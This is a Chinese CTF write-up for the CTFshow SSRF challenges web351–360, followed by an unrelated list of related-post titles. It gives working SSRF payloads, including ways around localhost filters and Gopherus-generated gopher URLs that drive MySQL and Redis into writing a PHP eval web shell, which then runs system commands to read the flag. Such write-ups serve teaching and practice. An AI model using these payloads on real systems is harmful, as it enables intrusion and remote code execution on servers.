文章目录

  • 前言
  • 一、知识点
    • Ⅰ、SSRF攻击点
    • Ⅱ、gopher协议
  • 二、题解
    • web351
    • web352、353
    • web355
    • web356
    • web358
    • web359
    • web360

前言

354和357由于端口改变、服务器所限等原因,无法解出

一、知识点

Ⅰ、SSRF攻击点

<?php
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
?>
  • curl_init():初始curl会话
  • curl_setopt():会话设置
  • curl_exec():执行curl会话,获取内容
  • curl_close():会话关闭

Ⅱ、gopher协议

通过gopher协议,将请求体用url编码后加上任意字符,一般是下划线,接上gopher的url即可执行GET、POST请求

gopher://ip:port/_[stream]

二、题解

web351

最基础SSRF,要访问的URL拼接到POST请求即可访问

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

flag存于/flag.php,我们可以让服务器访问它内容,curl_exec($ch)传回读取的内容,通过echo显示flag

[POST]payload:url=http://127.0.0.1/flag.php

web352、353

过滤,限定了协议、过滤了两个(组)ip

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){if(!preg_match('/localhost|127.0.0/')){$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?>

parse_url()解析请求包的参数,返回数组,scheme是请求包的协议

  • 127.1会被解析成127.0.0.1,也就意味着为零可缺省
  • Linux中,0也会被解析成127.0.0.1
  • 127.0.0.0/8是一个环回地址网段,从127.0.0.1 ~ 127.255.255.254都表示localhost
  • ip地址还可以通过表示成其他进制的形式访问,IP地址二进制、十进制、十六进制互换
[POST]payload:url=http://127.1/flag.php
[POST]payload:url=http://0/flag.php
[POST]payload:url=http://127.255.255.254/flag.php
[POST]payload:url=http://2130706433/flag.php

web355

过滤,限制http://[host]/[path] host部分长度小于5

[POST]payload:url=http://127.1/flag.php
[POST]payload:url=http://0/flag.php

web356

过滤,限制http://[host]/[path] host部分长度小于3

[POST]payload:url=http://0/flag.php

web358

过滤,正则表达式

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$x)){echo file_get_contents($url);
}

正则表达式表明l以ctf.开始以show结束,中间任意

  • parse_url()解析到邮箱时:@前面是user
  • file_get_contents()会访问host:port/path,与user无关

因此构建payload:

[POST]payload:url=http://ctf.@127.0.0.1/flag.php?show

web359

利用gopher协议无密码注入mysql,使用Gopherus工具构造payload

本质是SSRF+RCE

此工具需要安装两个包,并且用python2,Windows和Linux均可

$ python gopherus.py  --exploit mysqlGive MySQL username: root
Give query to execute: select "<?php eval($_POST[cmd]); ?>" into outfile "/var/www/html/cmd.php";
Your gopher link is ready to do SSRF :gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4c%00%00%00%03%20%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%63%6d%64%5d%29%3b%20%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%63%6d%64%2e%70%68%70%22%3b%01%00%00%00%01
  • 选择构建mysql的payload
  • 设置用户名,默认root
  • sql注入,写入shell,这里使用了into outfile新建shell并写入
  • 得到payload

登陆界面找到一个隐藏的攻击点,对其进行SSRF攻击:


[POST]payload1:gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4c%00%00%00%03%20%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%63%6d%64%5d%29%3b%20%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%63%6d%64%2e%70%68%70%22%3b%01%00%00%00%01

再访问/cmd.php执行命令即可

[POST]payload2:cmd=system("cat /flag.txt");

web360

利用gopher协议打redis也可以用Gopherus

$ python gopherus.py  --exploit redisWhat do you want?? (ReverseShell/PHPShell): phpGive web root location of server (default is /var/www/html):
Give PHP Payload (We have default PHP Shell): <?php eval($_POST[cmd]); ?>Your gopher link is Ready to get PHP Shell:gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5Bcmd%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0AWhen it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter.

payload要把它再进行一次URLEncode

[POST]payload1:gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255Bcmd%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

再访问/shell.php执行命令即可

[POST]payload2:cmd=system("cat /flaaag");

CTFshow_Web_SSRF——web351~web360(除354、357)相关推荐

  1. c#汉字拼音转换拼音

    汉字转换拼音挺实用的,有拼音转换汉字的交流一下谢谢 public class PinYin{#region//拼音代码表readonly static string[] _spellMusicCode ...

  2. ZAM 3D 制作3D动画字幕 用于Xaml导出

    ZAM 3D 制作3D动画字幕 用于Xaml导出 原文:ZAM 3D 制作3D动画字幕 用于Xaml导出 原地址-> http://www.cnblogs.com/yk250/p/5662788 ...

  3. oracle汉字转拼音(获得全拼/拼音首字母/拼音截取等)

    oracle汉字转拼音(获得全拼/拼音首字母/拼音截取等) oracle 字符集 GBK 没有问题 , UTF -8 需要修改一下 1.获得全拼 SELECT GETHZPY.GETHZFULLPY( ...

  4. 基于逆向工程的内存真值检查来保卫网络物理系统

    基于逆向工程的内存真值检查来保卫网络物理系统 原文 Defending Cyber-physical Systems through Reverse Engineering Based Memory ...

  5. 根据用户名字刷账户(取用户名的字母)

    最近由于手动创建用户过于繁琐,就写了个存储过程根据用户名字刷账户. 过滤多余的部分 由于一些名字代有别称,会有一些"("类的符号,所以需要过滤.这里如果有"(" ...

  6. 20160202.CCPP体系详解(0012天)

    内容概要:C语言控制语句题库.doc 第三章 控制语句一.选择题 1. 以下语句中无限循环语句是[B]. A)for(;2&5;); B)while(1,2,3); -> while(3 ...

  7. 汉字转拼音函数 linux,oracle 汉字转拼音

    1.要有创建过程.函数的权限 -- grant create procedure to user; 2.在命令窗口中,执行以下语句,创建包 CREATE OR REPLACE package GetH ...

  8. linux内核分析 轮换,Linux 内核源代码情状分析 chap2 存储管理 (6) - 页面的定期换出...

    1. 目的 Linux 内核通过定期检查并且预先将若干页面换出, 实现减轻系统在缺页异常时候所产生的负担. 虽然, 无法避免需要临时寻找可以换出的页面, 但是, 可以减少这种事件发生的概率.Linux ...

  9. 拼音反查(转自大富翁)

    直接用下面的单元来取拼音吧: unit IMCode; (*     简化版拼音反查单元=====================     修改于 Trueway(TM) LiQunwei     修 ...

最新文章

  1. ae怎么做圆一圈圈扩散效果_轻备学院AE特效基础教程 - 如何制作一个带有动画效果村庄烟雾...
  2. 【阿里云课程】模型设计之动态网络,原理与设计
  3. 【经典回放】JavaScript学习详细干货笔记之(三)
  4. 【转】英文论文中“such as, for example, e.g., i.e., etc., et al. ”的用法分析
  5. 论文浅尝 - ACL2020 | 利用常识知识图对会话流进行显式建模
  6. Github Trending被中文项目“占领”,国外开发者不开心了!
  7. python 字符串转函数名_Python 使用函数名(字符串)调用函数(4种方法)
  8. ae2020不支持的视频驱动程序_英伟达发布支持GeForce GTX 1660 SUPER的新Linux图形驱动程序...
  9. EasyUI基础入门之Parser(解析器)
  10. 离散数学及其应用 (第2版)
  11. python下载电影天堂_Python爬虫之《电影天堂》电影详情+下载地址爬取
  12. 神武3很遗憾未能链接服务器,12月8日神武3维护解读 wuli滔滔进驻新服!
  13. 双臂二指魔方机器人的制作(一)--总体设计
  14. php中划线,html中下划线、删除线、上划线的样式与用法实例
  15. 华为云3年仍未超阿里云,任正非感叹:积天下英雄,为何不得天下
  16. OpenGL超级宝典(第7版)之第十二章管线监控
  17. 山东2021年高考成绩查询状元,2021年山东高考状元多少分,今年山东高考状元资料名单...
  18. 为什么每个团队中,总有猪队友?
  19. USB接口禁用小工具v1.0.1
  20. STM32--STM32F051 IAP的实现

热门文章

  1. windows2008服务器未响应,Windows Server 2012系统卡死无反应
  2. 这个有没有人会呀本人新手
  3. 操作系统概念笔记——第九章:虚拟内存
  4. ParseException line 8:13 mismatched input ‘(‘ expecting ) near ‘int‘ in create table statement
  5. 2012第23周移动游戏推荐
  6. 【Flutter】仿 Element 样式 Progress 进度条
  7. 如何重新装系统win10
  8. 如何从0到500000000?抖音年度分析报告
  9. EC200S 4GCat.1模组OpenWRT驱动的移植
  10. Android 桌面角标的适配